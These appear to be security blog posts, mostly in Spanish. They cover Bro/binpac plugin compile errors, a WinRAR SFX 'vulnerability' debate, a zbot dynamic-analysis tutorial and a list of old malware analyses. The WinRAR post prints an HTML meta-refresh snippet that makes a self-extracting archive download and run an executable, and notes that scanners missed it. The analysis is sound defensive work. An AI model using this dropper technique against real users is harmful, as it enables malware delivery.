/tools/MyBro/bro/MyProt_plugin/src/myprot_pac.cc: In member function ‘bool binpac::MyProtTCP::MyProtTCP_Flow::deliver_ReadSystemVarRequest
(binpac::MyProtTCP::BinPAC_MyProtTCP_TransportHeader*, binpac::MyProtTCP::BinPAC_MyProt_Request_Header*, 
binpac::MyProtTCP::ReadSystemVarRequest*)’: /tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:4300:71: error: 
‘MyProt_ReadWriteSystemVarsRequestFormat_ToBro’ was not declared in this scope
          , MyProt_ReadWriteSystemVarsRequestFormat_ToBro(message->data())

Explanation: There was a declaration missing in the %header section of the MyProt-analyzer.pac file. A similar error could be caused because the type name used in myprot-protocol.pac and in myprot-analyzer.pac are different. Check that.


Error:

myprot.pac:40: syntax error, at end of file (yychar=0)

Explanation: This error appears when running binpac and it's caused by a missing "}" that closes any function or if the final "}" is missing.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc: In function ‘RecordVal* 
binpac::MyProtTCP::MyProt_ReadWriteSystemVarsRequestFormat_ToBro
  (binpac::MyProtTCP::BinPAC_MyProt_ReadWriteSystemVarsRequest_Format*)’:
/tools/MyBro/bro/MyProt_plugin/src/MyProt_pac.cc:4902:42: error: 
‘MyProtReadWriteSystemVarsRequestFormat’ is not a member of ‘BifType::Record’
   RecordVal* MyProt_format = new RecordVal(BifType::Record::MyProtReadWriteSystemVarsRequestFormat);

Explanation: In this case, there a line missing in the %bro%/build/src/types.bif.netvar_h file. This could be caused as well if the name of the record is NOT correct when using it in the myprot-analyzer.pac file.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc: In function ‘RecordVal* 
binpac::myprotTCP::myprot_SetOwnerRequestFormat_ToBro(binpac::myprotTCP::BinPAC_myprot_SetOwnerRequest_Format*)’:
/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:4894:62: error: expected ‘;’ before ‘)’ token
   myprot_format->Assign(0, new Val(rec->unknown(), TYPE_COUNT)));

Explanation: As explained in the error, there is an extra ')' in the indicated line.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc: 
In member function ‘bool binpac::myprotTCP::myprotTCP_Flow::deliver_InitCommRequest
(binpac::myprotTCP::BinPAC_MyProtTCP_TransportHeader*, binpac::myprotTCP::BinPAC_myprot_Request_Header*, 
const const_bytestring&)’: /tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:3987:10: error: too many 
arguments to function ‘void BifEvent::generate_myprot_initcomm_request
(analyzer::Analyzer*, Connection*, Val*, Val*)’
          );
          ^

Explanation: In this case, the number of arguments of an event in its declaration in events.bif and in the "generate_myprot_XXX_request" call in the myprot-analyzer.pac file.


Error:

In file included from /tools/pruebas_bro/MyBro/bro/umas_plugin/src/Umas.h:5:0,
                 from /tools/pruebas_bro/MyBro/bro/umas_plugin/src/Plugin.cc:3:
/tools/pruebas_bro/MyBro/bro/umas_plugin/src/umas_pac.h:3:0: error: unterminated #ifndef
 #ifndef umas_pac_h
 ^

Explanation: In this case, you have to run binpac myprot.pac and check the error given:

root@kali:/tools/MyBro/bro/myprot_plugin# binpac myprot.pac 
switching to file ./binpac.pac
switching to file ./bro.pac
switching to file ./myprot-protocol.pac
switching to file ./myprot-analyzer.pac
./myprot-protocol.pac:427: error : `BinPAC_MyProt_ReadWriteRequest_Format' undeclared

Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:4927:3: error: expected unqualified-id before ‘{’ token
   {
   ^

Explanation: There is an extra ';' in the %code section of the myprot-analyzer.pac. Of course you can always go to line 4927 of myprot_pac.cc file and look for an error.


Error:

error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 85: identifier not defined: MyProtReadWriteRequestFormat
error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 90: identifier not defined: MyProtReadWriteRequestFormat
internal error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 156: internal type MyProtReadWriteRequestFormat missing
Aborted

Explanation: This error appear when running our bro script because there is no entry in the init-bare file for the Record indicated.


Error:

error in /usr/local/bro/lib/bro/plugins/MYPROT_MYPROT/lib/bif/./events.bif.bro, line 125 and ./test2.bro, line 201: incompatible 
types (event(c:connection; TCPheaders:count; Uheader:URequestHeader; function:count;) and event(c:connection; TCPheaders:count; 
Uheader:URequestHeader;))

Explanation: This is NOT an error in our analyzer but in the bro script. We are not writing correctly all parameters of an event call. As you can see, there is an argument left.


Error:

/tools/MyBro/bro/MyProt_plugin/src/MyProt_pac.h:10:2: error: expected initializer before ‘RecordVal’
CMakeFiles/UMAS-UMAS.linux-x86_64.dir/build.make:242: fallo en las instrucciones para el objetivo 'CMakeFiles/MYPROT-MYPROT.linux-x86_64.dir/src/Plugin.cc.o'

Explanation: In this case it's a CMake error (it is showed in spanish). It was caused by a '#' in the header section of the analyzer.pac file...


Error:

/tools/MyBro/bro/MyProt_plugin/src/Myprot_pac.h:2669:2: error: expected initializer before ‘RecordVal’
  RecordVal* MyProot_SetOwnerRequestFormat_ToBro(BinPAC_MyProt_SetOwnerRequest_Format *rec);

Explanation: There was a ';' left at theend of function declaration in the analyzer.pac file.


Error:

/tools/MyBro/bro/Myprot_plugin/src/MyProt_pac.cc: In member function ‘bool binpac::MyProtTCP::MyProtTCP_Flow::deliver_InitCommResponse(binpac::MyProtTCP::BinPAC_MyProtTCP_Header*, binpac::MyProtTCP::BinPAC_MyProt_Response_Header*, binpac::MyProtTCP::InitCommResponse*)’:

/tools/MyBro/bro/MyProt_plugin/src/MyProt_pac.cc:4268:10: error: too many arguments to function ‘void BifEvent::generate_myprot_initcomm_response(analyzer::Analyzer*, Connection*, Val*, Val*)’         );

Explanation: The declaration of an event in the events.bif an in the analyzer.pac file was different.


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:2698:96: error: no matching function for call to ‘binpac::MyProtTCP::MyProtTCP_Flow::deliver_ReadInfoResponse0(binpac::MyProtTCP::BinPAC_MyProtTCP_Header*, binpac::MyProtTCP::BinPAC_MyProt_Response_Header*, binpac::MyProtTCP::ReadInfoResponse0*)’
  deliver_ = t_context->flow()->deliver_ReadInfoResponse0(TCPheader(), MYPROTheader(), this);

Explanation: In this case the 'deliver' function used in the protocol.pac an in the analyzer.pac files were different..


Error:

/tools/MyBro/bro/myprot_plugin/src/myprot_pac.cc:1894:59: error: invalid use of non-static member function
           message->parameter_header()->Parameter_Type());

Explanation: The first problem here is that the issue is NOT in the line shown by the compiler. In my case I had the following record in my myprot-analyzer.pac:

                    BifEvent::generate_comm_request(connection()->bro_analyzer(), connection()->bro_analyzer()->Conn(), 
                                                                        TCPHeaderToBro(header), message->msg_type,
                                                                         message->parameter_header()->Parameter_Type());

...and the problem it's there, but it's not related with the last line! it comes with the msg_type variable, it need a parentheses at the end:

message->msg_type(),

...and that's all, working!




Of course there are many other error you will find while compiling but it's impossible to add them all here.

I hope this post will be helpful to anybody. This is what I learned during two week battling against bro and its friends!.

miércoles, 9 de diciembre de 2015

Evolution of the APTs: an infography

This is an infography about the evolution of the APT campaigns over the last 5-6 years. It's update until November 2015.

I think it's interesting to realize how APT campaigns are growing high. Complex and hard stop issue...

viernes, 2 de octubre de 2015

¿Es una vulnerabilidad lo de Winrar?

Post publicado en SecurityArtWork el 5 de Octubre de 2015.


El pasado Martes 29 se hacía público por parte del investigador Mohammad Reza Espargham una "vulnerabilidad" (si, con comillas) de ejecución remota de código en la conocida aplicación Winrar para Windows. En concreto en su explicación se mencionaba que la "vulnerabilidad" estaba presente en la ultima version (5.21) para windows tanto para 32 como para 64 bits.

Como si una bola de nieve se tratase se fue expandiendo la noticia por toda la red y muchas empresas, entidades y sitios web especializados en ciberseguridad, la explicaron como si de una importante vulnerabilidad se tratara. Y no es para menos, podria tratarse de un grave problema si no fuera por una serie características que la limitan.

Unos dias más tarde, en un nota del equipo de soporte de Winrar, hacian saber que muchas de las cosas que se estaban escribiendo eran inciertas y que no consideraban que fuera una vulnerabilidad, sino más bien una característica propia del Winrar.

Pero veamos de que va todo esto. En las primeras noticias leiamos que "La vulnerabilidad puede ser utilizada por un atacante para insertar código HTML dentro de la sección "Text to display", en español "Texto e iconos", cuando un usuario esté creando un fichero SFX.

Un fichero SFX es un fichero ejecutable que contenga uno o mas ficheros comprimidos en su interior. Siguiendo las instrucciones de Mohammed Reza, para conseguirlo habia que descargarse Winrar 5.21 (no lo he probado pero me imagino que el problema exista en versiones anteriores tambien), hacer clic con el boton derecho sobre un fichero y escoger la opcion "Añadir al archivo...", esto nos abre el compresor Winrar.

Una vez abierto, seleccionaremos la opcion "Crear un archivo autoextraible"

...y en la solapa "Avanzado", al hacer clic en el botón "Autoextraible"

...meteremos código HTML similar a este en el campo "Texto a mostrar en la ventana".

Esto nos crea un fichero ejecutable que en su interior contiene un fichero comprimido. En este caso un ebook. El fichero resultante es un fichero ejecutable .EXE con formato SFX, es decir autoextraible.

La vulnerabilidad se basa en que al ejecutar este fichero .EXE, la URL indicada en el codigo HTML antes mencionado se descarga y con la opcion "refresh" se ejecuta. Entonces, si la URL que le hemos puesto es, como en este caso la web de Google, al abrir el fichero SFX nos lo va a mostrar en un navegador integrado que tiene el Winrar:

Es decir, el Winrar trae un navegador incrustado. Tras una serie de pruebas, nos enteramos de que se trata del navegador del sistema:

...entre otras pruebas que le hicimos, con lo que supimos que no es un internet explorer normal y que tiene capado los scripts de javascript.

Pues bien, si somos capaces de mostrar HTML, la idea de Mohammed Reza fue... ¿y descargar un malware?. Pues claro, muy facil. En esta prueba, voy a descargar y ejecutar el putty, de la URL http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Por tanto el codigo HTML quedará asi:


<html>
<head>
<title>poc
<META http-equiv="refresh" content="0; URL=http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe">
</head>
</html>

Y lo cierto es que lo descarga y lo ejecuta:

...no sin antes avisarnos de que es un .exe... que puede dañar el equipo.

¿Y esto lo podríamos evitar?. Mohammed Reza hizo que el ejecutable estuviera en el propio comprometido y al ejecutar un PHP, creaba un pseudo servidor web, asi que instalamos un servidor HTTP simple en la propia maquina, pusimos una URL local y.... el mismo mensaje.

Lo cierto es que, pensamos, aun así podría ser un problema de seguridad, nunca hay que menospreciar la estupidez humana. A no ser que los sistemas antivirus detecten el fichero ejecutable como malware.

Asi que se le inyectamos la URL del ultimo malware detectado en malc0de database:

y esto fue lo que nos salio en virustotal:

Ningún antivirus detecto que fuera un ejecutable malicioso. Y lo cierto es que no lo es... pero tiene una URL hacia un fichero malicioso. Nada mas.

El problema es que el Winrar lo ejecuta... no sin antes avisarte eso si, de que esto podría afectar a tu ordenador.

Ahora bien, si os acordáis, al principio de todo este rollo, indicaba que era una "vulnerabilidad", con comillas. Desde Winrar se dicho por activa y por pasiva, que no es una vullnerabilidad sino de una feature, una característica. Es (o eso pretende ser) una forma de poder documentar lo que esta comprimido mediante HTML.

Personalmente creo que el HTML sobra, pero lo que esta claro es que Winrar ha dicho que no es una vulnerabilidad, no va a sacar CVE y de hecho no va a haber ni siquiera nueva version capando esta "feature".

Y la verdad es que tienen bastante razón. Para que una persona pueda infectarse a través de un fichero autoextraible de Winrar deben fallar muchas medidas de seguridad:

  1. El usuario final debe recibir un correo electrónico con un fichero .EXE adjunto. Todos los clientes de correo y la mayoría de los webmail lo habrian ya filtrado.
  2. Debe ejecutar el ejecutable que viene en el correo, pese a que es la primera regla de seguridad que enseñan en el parvulario.
  3. Debe hacer caso omiso de los avisos que el sistema operativo muestra y que antes hemos visto.
  4. El malware descargado y ejecutado debe burlar las medidas de seguridad (antivirus, etc) instalados en el sistema. Casi el paso más simple de los cuatro.

Es mas, si nos están mandando un fichero ejecutable... y lo vamos a abrir, ¿por que no mandarnos directamente un fichero infectado con malware?. La única diferencia es que Virustotal lo detectará como malicioso y éste no. Se podría considerar a todo este asunto como un "hand-made dropper". Muy facil de crear, muy facil de usar, perfecto para script kiddies y wanabees.

En resumen:

¿Se trata de una vulnerabilidad?. A decir verdad no. El programa Winrar está correctamente escrito. No tiene vulnerbilidades en el código. Se trata pues de un aprovechamiento ilegítimo de una funcionalidad existente y legítima de Winrar.

¿Debería haberse montado el revuelo generado?. Desde mi punto de vista es bueno que se haya informado al publico "de a pie" que los ficheros RAR recibidos, sea por el medio que sea, son potencialmente peligrosos. Y que se debe estar alerta.

¿Deberíamos estar preocupados?. Yo creo que no. Parece poco probable que nadie pueda mandarnos un fichero ejecutable por correo, lo abramos y hagamos caso omiso de los avisos.

jueves, 17 de septiembre de 2015

Análisis dinámico de malware

Para realizar un análisis dinámico de malware es necesario disponer de algunas herramientas preparadas antes de empezar:

  • Una máquina virtual donde se ejecutará la muestra de malware (Por ejemplo un corriente VirtualBox)
  • Un analizador de tráfico de red, por ejemplo Wireshark.
  • Instalar un detector empaquetadores en la maquina virtual, por ejemplo PEID o PE Explorer.
  • Cuckoo Sandbox nos permitirá saber que funciones y API ha llamado el malware, los archivos creados y eliminados, volcados de memoria, capturas de pantalla, entradas del registro modificados, etc)
  • FakeNet es una herramienta que nos permitirá simular una red, para conocer el comportamiento del malware.

Si queremos hacer un análisis más avanzado, tendremos que usar herramientas como:

  • Volatility, para analizar capturas de memoria
  • Yara
  • Hook Analyzer

En esta entrada voy a mostrar un pequeño ejemplo de un análisis dinámico que realicé allá por el año 2012 de una variante del malware zbot.

Inicialmente como vemos, disponemos de una maquina virtual, con el malware ya preparado.

También tenemos preparado el wireshark para analizar el tráfico que salga por la red. Es preferible escuchar en una conexión de red que sólo la vaya a usar nuestra maquina virtual para evitar que el tráfico normal y legitimo de red nos confunda del tráfico causado por el malware.

Para tratar de engañar al malware, se preparó una red falsa con InetSim, aunque se podría haber preparado algo similar con FakeNet

.

Una de las tareas importantes a analizar es la captura de las entradas del registro modificadas. Esto se puede conseguir con el Cuckoo Sandbox u otras herramientas. En la siguiente imagen se utilizí CaptureBat.

Utilizando esta misma herramienta se puede ver que se ha creado un ejecutable en la ruta %ApplicationData%/Lyolxi/raruo.exe. Lógicamente es un nombre y una ruta aleatorios.

Entretanto nos dabamos cuenta de que habia tráfico de red causado por este malware:

Como vemos que es tráfico TCP, podemos consultar el stream de datos gracias al Wireshark:

Por ultimo se puede buscar en multiples lugares de internet en busqueda de información extra. En Virustotal, por ejemplo, en este caso, como sabiamos que se trataba de una muestra de Zbot, se buscó en el Zeus Tracker:

Para continuar con el estudio es necesario suspender la máquina virtual y obtener el fichero que contiene la memoria para pasarsela a Volatitlity:

Con Volatility podemos ver muchas cosas, por ejemplo, el listado de procesos REAL en ejecución, con el comando pslist. Digo real porque un malware puede, mediante técnicas de rootkit, esconderse cuando pedimos ver ese listado de procesos.

También podemos ver que hay un proceso que tiene una conexion de internet abierta, el explorer.exe:

Por ultimo, con el comando malfind, podemos buscar si existe código o DLLs inyectadas en memoria de usuario:

El siguiente paso del análisis dinámico consistiría en una análisis del código ensamblado del malware, pero esto es otro nivel que explicaré otro día:

viernes, 11 de septiembre de 2015

Virus antiguos analizados

Para un proyecto reciente me solicitaban haber realizado al menos 5 analisis de malware en el pasado. Lo cierto es que han sido muchos más de 5, entre los años 2008 y 2012, pero se realizaron para INTECO-CERT, cuya web ahora ha desaparecido. Por esta razón, voy a recuperar estos análisis realizados y los colgaré en este blog, para que sirvan de muestra en caso de que se me consulte en el futuro.


Sality.B- 27/09/2008




















Vundo.NV - 17/12/2008




















Kvadr- 31/03/2009




















VB.ESC- 17/06/2010




















Autorun.BDZ - 21/06/2010




















FakeAV.CFU-16/12/2010




















iTunesHelper - 31/08/2011




















Sisproc.K- 26/11/2012






















Estos son solo 8 ejemplos de los más de 500 virus que fueron analizados por mi para el equipo de INTECO-CERT entre 2008 y 2013.